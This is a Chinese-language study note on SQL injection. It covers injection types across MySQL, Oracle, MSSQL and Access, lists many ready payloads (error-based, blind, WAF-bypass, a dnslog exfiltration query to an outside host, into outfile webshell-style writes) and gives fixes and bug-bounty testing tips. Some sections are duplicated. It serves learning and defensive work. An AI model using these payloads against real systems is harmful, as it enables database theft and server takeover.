SQL注入漏洞笔记

（一）知识点整理

1.SQL的全称是什么？SQL注入漏洞的产生原因是什么？有什么危害？

SQL是Structured Query Language结构化查询语言;

产生原因是可控参数被拼接到数据库语句并带入数据库执行导致的；

危害是：数据库数据泄露或窃取，网页被篡改甚至挂马，服务器被安装后门以远程控制【简称为查询数据，读写文件和执行命令】

2.SQL注入的分类有哪些？根据不同条件来说

1）按照回显内容：联合注入，报错注入，盲注（布尔盲注或时间盲注），堆叠注入

2）按照sql注入拼接的位置：where注入，order by 注入，limit注入，values注入

3）按照注入位置：GET，POST，cookie，header

4）按照数据类型：

数字型注入【最多出现在ASP和PHP等弱类型语言，会自动推导变量类型】【还可以利用数字的增减操作进行布尔盲注，避免使用and or等敏感词】

字符型注入

3.数字型注入与字符型注入的辨别方式是什么？判断注入点方式分别是什么？

数字型：虽然可以用引号包裹却不一定需要被引号包裹；字符型：必须被引号包裹；

数字型一般不用引号闭合，字符型却需要，比如1 and 1=1或 1' and '1'='1

4.information_schema在MySQL的什么版本号开始？有哪些内容？

MySQL的5.0版本开始，提供了访问数据库的元数据的方式；元数据是关于数据的数据，存储SCHEMATA表（数据库名）和TABLES表（表）还有COLUMNS表（列）

5.MySQL联合注入前提条件是什么？如何进行？其中Order by子句的用法？常用函数有哪些？

前提条件是相同的输出字段数且顺序相同，并包含相同或兼容的数据类型；

判断注入点（如id=1 and 1=1等）---->判断列数（order by 1这样）---->判断报错点（id=1 and 1=2（或者直接id=-1这样） union select 1,2,3）---->获取当前数据库名-----> 获取某数据库的表名----->获取某表的列名---->获取数据

【可以简写为顺序为“库表列值”】

常见函数有： concat() concat_ws() group_concat() 以及以下：

system_user() 系统用户名

user() 用户名

current_user() 当前用户名

session_user()连接数据库的用户名

database() 数据库名

version() MYSQL数据库版本

@@datadir 读取数据库路径

@@basedir MYSQL 安装路径

@@version_compile_os 操作系统

Order by子句是按照一个或多个字段排序查询结果，默认是升序，1-2-3这样；

6.MySQL布尔盲注的前提条件是什么？如何进行？常用函数是哪些？

前提条件是存在正常与不正常的两种返回；

获取数据库长度：([select]length([select]database()))>|=|< 某数字】

获取当前数据库名：select ascii(substr(database(),1,1))>|=|< 某数字 （不加ascii类的函数，某数字得换成某字符）

【substring() 或 substr() ascii() bin() hex() ord() 同mid，left，right；select要么最外面要么最里面】

获取当前数据库的表名：ascii(substr((select语句 limit 0,1),1,1))>|=|< 某数字 【select必须在最里面】

获取列和值的方法和获取表名的一致

7.MySQL时间盲注的前提条件是什么？如何进行？常用函数是哪些？

前提条件是没有任何回显；

sleep (if(判断条件,0,5) 或 if(判断条件，0，sleep(5)) 【判断条件同布尔盲注】

常用函数有sleep() benchmark() if(, ,)

8.MySQL报错注入的前提条件是什么？如何进行？常用函数是哪些？

前提是有报错回显

floor的有点复杂：id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables groupby x)a);

updatexml的是：id=1 and(updatexml(1,concat(0x7e,(select user()),0x7e),1));

extractvalue的是：id=1 and(extractvalue(1,concat(0x7e,(select user()),0x7e)));

geometrycollection的是：id=1 and geometrycollection((select * from(select * from(select user())a)b));

multipoint的是：id=1 and multipoint((select * from(select * from(select user())a)b));

polygon的是：id=1 and polygon((select * from(select* from(select user())a)b));

multipolygon的是：id=1 and multipolygon((select * from(select * from(select user())a)b));

linestring的是：id=1 and linestring((select * from(select * from(select user())a)b));

multilinestring的是：id=1 and multilinestring((select * from(select * from(select user())a)b));

exp的是：id=1 and exp(~(select * from(select user())a));

常用函数有floor() rand() updatexml() extractvalue()

9.MySQL宽字节注入的前提是什么？如何进行？常见在哪种状况？

前提条件是不能使用单引号，故此后面的字符串部分都转换成十六进制即可。使用GBK编码，且第一个字符的ASCII码大于128，或者说URL编码大于%80，且在汉字编码内

输入id=1%81' 即可

常见在PHP+MySQL的情况下

10.Oracle中的数据字典是什么？数据字典视图的三种不同权限的分类有哪些？常用的有哪些？dual表是啥，什么时候可以用？

数据字典是元数据的集合；user all dba；常用的有user_tables表，user_columns表，dual表；dual表是Oracle中实际存在的表，常用在使用select且没有目标表的语句中【备胎表，无缝衔接】

11.Oracle联合注入的前提条件是什么？如何进行？有什么需要特别注意的地方？

同MySQL的联合注入前提条件；

注意：必须使用null；select必须带一个虚拟表 from dual；会自动将小写字母转换成大写字母，注意字符串要包裹双引号；

进行过程同MySQL的；

常用函数：

a.查看当前用户信息 select SYS_CONTEXT('USERENV',CURRENT_USER) from dual

b.查看当前用户权限 select * from seession_roles

c.查看数据库版本 select banner from sys.v_$version where rownum=1

12.Mssql(SQL Server)目录视图是什么？有哪些？

保留系统元数据的通用接口；有sysdatabases（库名），sysobjects（表名），syscolumns（列名）

13.Mssql报错注入的条件是什么？如何进行?

与0比较产生类型比较报错；

获取当前库名：id=1 and (select top 1 name from sys.databases)>0 或者 id =1 and db_name()>0 例如获取sec库名

获取表名：id=1 and 0<(select top 1 name from sec.dbo.sysobjects where xtype='U') [U为用户表，S为系统表] 例如表名

获取列名：id=1 and 0<(select top 1 name from sec.dbo.syscolumns where id = (select id from sec.dbo.sysobjects where xtype='U' and name='表名'))

第二个列名：id=1 and 0<(select top 1 name from sec.dbo.syscolumns where id = (select id from sec.dbo.sysobjects where xtype='U' and name='表名')) and name not in ('第一个列名'))

以此类推

获取数据：id=1 and 0<(select top 1 item1 from sec.dbo.eims_User)

14.Access数据库及其注入的特点是什么？

特点是没有库，没有用户，单文件即可存储数据；在SQL注入时必须猜测表名和列名；Access只有联合注入和布尔盲注;

15.Access爆破法注入的前提条件是什么？如何进行？

没有找到前提；有正常和不正常两种返回

爆破表名：id=1 and exists (select * from TableName)

爆破列名：id=1 and exists (select ColumnName from TableName)

判断列数：id=1 and order by 1

查看报错点：id=1 and 1=2 union select 1,2,3 from TableName 【必须有from+某实际存在的库名】

在报错点进行数据获取（此处不赘述）

16.二次注入的条件是什么？常见场景是什么？白盒与黑盒哪一种更容易找到二次注入漏洞？

条件是第一次输入恶意数据有addslashes等函数的过滤，但是以原本的数据存入数据库，再次查询时没有过滤则触发了sql注入；

常见是注册时候----->密码找回时；

一般用白盒比较容易发现二次注入漏洞。

17.Sqlmap工具使用的方法？用sqlmap进行getshell的条件是什么？

man sqlmap 或者 sqlmap -h 【--batch 可以自动选择默认选项，不必手动，很方便】

条件是

a. 拥有数据库dba权限为True 【可以--is-dba进行检测】

b. 知道网站的绝对路径

c. PHP关闭魔术引号

d. secure_file_priv= 值为空

18.SQL注入绕过WAF的方式有哪些？

1）空格过滤绕过：/**/；制表符%09；换行符%0a；括号（）;反引号``

2）内联注释绕过：/*!xxxxxxselect*/ 【如果当前版本号大于xxxxxx则执行select，忽略的话，会直接执行selectS】

3）大小写绕过：【针对黑名单机制】

4）双写关键字绕过：【针对直接将关键字替换为空，且没有进行多次判断的】

5）编码绕过：双重URL编码；十六进制编码【针对MySQL】；Unicode编码【针对IIS】；ASCII编码

6）等价函数字符替换绕过：

a.用like或in代替=；

b.用from和for代替逗号，

c.sleep=benchmark

d.ascii=hex=bin=ord

e.group_concat=concat_ws

f.updatexml=extractvalue

19.SQL注入漏洞修复的方法有哪些？分别以代码层修复和服务器配置修复来阐述

代码层修复:

a.数字型sql注入可以在拼接sql语句之前，变量进行intval()处理【仅针对数字型sqsl注入，加强数据类型验证，用is_numeric()或ctype_digit()】

b.字符型sql注入可以用

htmlspecialchars()【转换成HTML实体，比如"--->"注意此处默认不对单引号进行处理，可加上ENT_QUOTES参数即可处理单引号】

mysql_real_escape_string() 【与addslashes()都是转义预定义字符，但是预定义字符的范围不一样，且php4.3.0以上的php4与php5可以用】

addslashes() 【较为常见】

c.**参数化查询防止注入：

mysqli：【仅支持MySQL数据库】

pdo:【不局限于MySQL数据库】

服务器配置修复：

magic_quotes_gpc为on的时候，是对单引号，双引号，反斜线，null前加\（反斜线）

magic_quotes_sybase为on，且magic_quotes_gpc也是on的时候，将单引号转义为两个单引号

- ********补充**********

20.数据库不同，字符连接符也不同，请问各种数据库的连接符有哪些？对应注释符有？

MySQL：空格 【注释符： --+ # /* */】

Mssql：+

Oracle: || 【强类型数据库】

21.union all与union的区别是什么？

union会自动去重且按默认顺序排序，而union all不会

22.哪些数据库可以用select 1,2,3这样的形式？

Mysql： select 1,2,3,4,5,6

Access: select 1,2,3,4,5,6 from 真实库

其余：select null,null,null 【select 1,2,3 容易导致类型不兼容而异常】

23.注册账号为admin++(+代表一个或多个空格）成功后直接以管理员身份登录成功是什么原理？

MySQL超长字符截断，参见《web安全深度剖析》P81-82

24.MySQL的堆叠注入需要使用什么函数？相当于什么权限？

mysqli_multi_query() 相当于直连数据库

25.MySQL的各种注入类型优劣比较如何？

联合注入：优势是自带多个显位，可以很快爆出数据，缺点是只能用在select最后处，后面如果还有sql语句就必须注释掉。而且必须用到union和select，很容易被ban；

报错注入：优点是注入位置广泛，几乎任何和数据库有关的操作经过sql拼接都可以产生报错注入，有回显位，获取数据方便。缺点是必须开启错误提示，mysqli_error()

盲注：在于无法构造出回显位时使用，优点是适配绝大部分注入点，缺点是注入繁琐，费时费力，高频率对服务器发起访问也容易被ban；

堆叠注入：非常危险，通常sql注入有诸多限制，比如只能查不能增删改，不能更改数据库设置，而堆叠注入相当于获取了数据库密码进行直连，直接操作数据库

26.MySQL的dnslog盲注有什么前提？如何利用？

必须windows系统，必须root权限，必须secure_file_priv为空；

id=2 and 1=(select load_file(concat('\\\\',hex(database()),'.pk4qft.dnslog.cn\\test')))

27.MySQL的空白符是哪些？http或Linux呢？

在HTTP传参中，【%20】【 】【+】都是空格，【%2b】是加号

在mysql当中，%09 %0A %0B %0C %0D都是空白符，效果和%20一样

linux可能还支持%A0

同时，一些特殊符号，注释，括号也可以充当空白符：

```
select*from`user`where id=.1union select+1,2,3,\Nfrom`users`;
select*from`user`where+id=1e0union/**/select+1,2,3,database/**/()select+1;
select-1;
select~1;
select!1;
select@1;
select'1';
select"1";
select(1);
select{x 1}from{x user}
```

```
select*from`user`where id=.1union select+1,2,3,\Nfrom`users`;
select*from`user`where+id=1e0union/**/select+1,2,3,database/**/()select+1;
select-1;
select~1;
select!1;
select@1;
select'1';
select"1";
select(1);
select{x 1}from{x user}
```

28.MySQL的逻辑运算符和数字运算符的用法？

逻辑运算符和数字运算符

and为逻辑运算符，可被 or xor not代替，同时and=&& or=|| xor=^ not=!

```
select * from user where not(0=1);
```

数字型注入时，可以不用逻辑运算，用数字运算。+ - * / div mod

```
select 2-(select 1)
select 4 div(select 3)
```

盲注时，可以用比较运算符，= <> != % between not between in not in LIKE REGEXP RLIKE

```
select user()%sleep(1)
(select ascii(substr((select user()),1,1)))=114
select ascii(substr((select user()),1,1)) between 113 and 115
select ascii(substr((select user()),1,1)) in (114)
select user() like 'root%'
select user() regexp 0x5E726F6F5B612D7A5D --0x5E726F6F5B612D7A5D=^roo[a-z]
```

也可以用字符串比较函数

```
select strcmp(user(),'root@localhost')
select find_in_set(1,1)
```

逻辑运算符和数字运算符

and为逻辑运算符，可被 or xor not代替，同时and=&& or=|| xor=^ not=!

```
select * from user where not(0=1);
```

数字型注入时，可以不用逻辑运算，用数字运算。+ - * / div mod

```
select 2-(select 1)
select 4 div(select 3)
```

盲注时，可以用比较运算符，= <> != % between not between in not in LIKE REGEXP RLIKE

```
select user()%sleep(1)
(select ascii(substr((select user()),1,1)))=114
select ascii(substr((select user()),1,1)) between 113 and 115
select ascii(substr((select user()),1,1)) in (114)
select user() like 'root%'
select user() regexp 0x5E726F6F5B612D7A5D --0x5E726F6F5B612D7A5D=^roo[a-z]
```

也可以用字符串比较函数

```
select strcmp(user(),'root@localhost')
select find_in_set(1,1)
```

29.联合注入的替代方案有哪些？

union select可用union all select/union distinct select/union distinctrow select代替

order by 可用group by代替

30.outfile和dumpfile的前提条件是什么？用法是什么？load_file的呢？

前提条件：必须root，必须开启secure_file_priv，必须有绝对路径，必须拼接在select最后，必须可以使用单引号。

如果无法控制查询最终内容，outfile可拼接如下4个：

lines terminated by

lines starting by

fields terminated by

columns terminated by

用法：

select * from user where id=1 union select 1,'<?php
phpinfo();>',3,4 into dumpfile 'D://1.php'

select * from user where id =1 order by 1 limit 0,1 into outfile 'D://1.php' lines terminated by '<?php phpinfo();>'

前提条件：必须root，必须开启secure_file_priv，必须有绝对路径

用法：

select load_file('D://1.php')

31.if可以如何替换？

ifnull，case when

用法：

id=1 and ifnull(1=1,0)

id=1 and (case when 1=1 then 1 else 0 end)

32.sleep(5)可以替换成什么？

benchmark(50000000,sha(1))

或

(select count(*) from information_schema.columns A, information_schema.columns B,information_schema.columns C)

33.不可使用逗号的时候怎么办？

limit 1 offset 0

from 1 for 1

(select 1)a join (select 2)b join(select 3)c join (select user())d

34.不同的注入方式的绕过waf办法有哪些？

万能绕过：构造a=/*&tab=payload&b=*/，欺骗payload在注释中

联合注入绕过：其对内联注释含44的版本检测力度较轻；且发现其对/**/内不检测，用%0A欺骗select在/**/中，在函数和圆括号中加注释绕过对函数的拦截database/**/()；%0A绕过对information_schema的拦截；用法如下：

/*!11441union*/-- /*%0Aselect/**/database/**/()

/*!11441union*/-- /*%0Aselect/**/ group_concat(table_name) from information_schema%0A.tables

报错注入绕过：反引号包裹函数，同类函数替换

and `updatexml`(1,concat(0x7e,(select current_user),0x7e),1)

时间盲注绕过：冷门函数

and elt((substr((select current_user),1,1)=0x72)*2,1,sleep/**/(2))

35.直连mysql或者堆叠注入的危害是什么？

1）log写入shell

2）udf执行命令

3）服务端读取客户端文件

（二）漏洞挖掘方法

- **寻找方法**：
  - 任何时候您认为参数正在从数据库中检索信息（例如数字），例如report.php?id=1告诉代码从数据库中检索 id 1，测试它的 SQL 注入

- 该网站可能在所有类型的地方与数据库交互，因此请注意在与 XSS 一样多的地方测试 SQL 注入。
- 如果您发现请求中使用了某些关键字，例如select, query, limit, offset，或您发现请求中的列名，请开始测试 SQL 注入。他们可能正在预先准备您可以尝试中断的查询。

- **测试方法**：
  - 建议使用 sleep 命令来测试 SQL 注入，因为通常没有错误，您可以依靠响应和时间来确定 SQL 注入。如果您的命令是sleep(30)并且页面加载需要 30 秒，然后将其更改为sleep(1)并立即加载，那么您知道您在寻找 SQL 注入的正确路径上！
  - 直接使用其他有效负载甚至工具可能会标记 WAF，但是您也可能会遇到 WAF，阻止您使用简单的有效负载进行测试'，这将根据具体情况而定，因为您需要确定它们在过滤什么。
  - SQLMap 无脑扫
  - 另一个简单测试可以是简单地使用-1，如果您要提供user_id=1338-1并且它很容易受到攻击，那么代码将针对user_id=1337.这在测试整数值时最常见。有时您可能无法实现 SQL 错误，但您可能能够编辑/访问其他用户信息。请注意，这可能与IDOR有关

（三）可使用的工具

- **SQLMap**: https://github.com/sqlmapproject/sqlmap
- **超级SQL注入**：https://github.com/shack2/SuperSQLInjectionV1
- **Burp插件**：

（四）赏金文章与Bypass技巧

https://medium.com/@calfcrusher/fuzzing-for-hidden-params-671724bf3fd7

https://twitter.com/yeswehack/status/1587474330614652928